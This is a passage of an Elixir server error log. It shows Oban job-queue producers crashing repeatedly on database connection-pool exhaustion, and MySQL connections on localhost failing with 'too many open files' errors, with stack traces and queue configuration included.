{Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15115>, refresh_timer: #Reference<0.2525715032.1068498948.41289>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:59:14.244867Z], limit: 20, uuid: "7e26cd77-39d5-46ca-ae43-453359a94c2d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:14.244877Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15114>, refresh_timer: #Reference<0.2525715032.1077673987.15080>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:26.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1008ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:59:14.248899Z], limit: 3, uuid: "ac9b0d89-e29a-4791-a8e5-aaf51134fc3b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:14.248905Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.15116>, refresh_timer: #Reference<0.2525715032.1068498948.41282>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:26.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 837ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:59:14.246884Z], limit: 5, uuid: "c9bd314f-cb89-4e31-9cf8-2962a898a1b8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:14.246890Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.38463>, refresh_timer: #Reference<0.2525715032.1068498948.41258>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:29.390000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:31.438000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:32.263000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:32.505000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:37.556000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:37.642000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:59:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1057ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:59:26.239240Z], limit: 50, uuid: "08f334bf-6814-4d6b-9502-c3cc91340082", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:26.239246Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.41436>, refresh_timer: #Reference<0.2525715032.1068498948.41424>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 848ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:59:26.240226Z], limit: 5, uuid: "d0142c3f-ff2d-4b8f-bd69-67a5066e9770", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:26.240232Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.150825>, refresh_timer: #Reference<0.2525715032.1099431938.38743>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1036ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:59:26.240748Z], limit: 3, uuid: "b3e97d23-732f-4ae9-be3b-94b11067bf8b", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:26.240753Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.150826>, refresh_timer: #Reference<0.2525715032.1099431938.38753>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:38.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1009ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:59:26.240167Z], limit: 20, uuid: "a51e7995-e845-4226-8be5-b7e893f211fa", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:26.240173Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.150827>, refresh_timer: #Reference<0.2525715032.1077673987.15219>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:38.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 891ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:59:26.242221Z], limit: 5, uuid: "093f84a3-95a8-42d0-8844-56a2873c49d3", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:59:26.242229Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.150828>, refresh_timer: #Reference<0.2525715032.1077673987.15250>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:59:38.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1011ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
